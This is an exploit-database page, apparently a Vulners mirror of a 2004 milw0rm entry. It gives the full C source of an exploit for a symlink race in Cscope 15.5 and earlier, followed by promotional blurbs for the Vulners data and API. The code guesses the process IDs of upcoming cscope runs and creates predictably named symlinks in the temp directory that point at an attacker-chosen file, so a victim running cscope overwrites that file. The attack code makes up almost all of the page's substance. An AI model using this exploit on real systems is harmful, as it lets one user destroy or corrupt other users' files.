Lucene search
K

Cscope <= 15.5 Symlink Vulnerability Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Cscope Symlink Vulnerability Exploit version 15.

Code

                                                /* RXcscope exploit version 15.5 and minor */
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;unistd.h&#62;

#define BSIZE 64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];
        
        fprintf(stdout, &#34;\n --[ Cscope Exploit ]--\n&#34;\
                        &#34; version 15.5 and minor \n&#34; \
                        &#34; Gangstuck / Psirac\n&#34; \
                        &#34; &#60;[email protected]&#62;\n\n&#34;);
                        
        if (ac != 3) {
                fprintf(stderr, &#34;Usage: %s &#60;target&#62; &#60;max file creation&#62;\n&#34;, av[0]);
                return 1;
        }
        
        cur=getpid();
        lst=cur+atoi(av[2]);
        
        fprintf(stdout, &#34; -&#62; Current process id is ..... [%5d]\n&#34; \
                        &#34; -&#62; Last process id is ........ [%5d]\n&#34;, cur, lst);
        
        while (++cur != lst) {
                snprintf(buffer, BSIZE, &#34;%s/cscope%d.%d&#34;, P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}

// milw0rm.com [2004-12-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation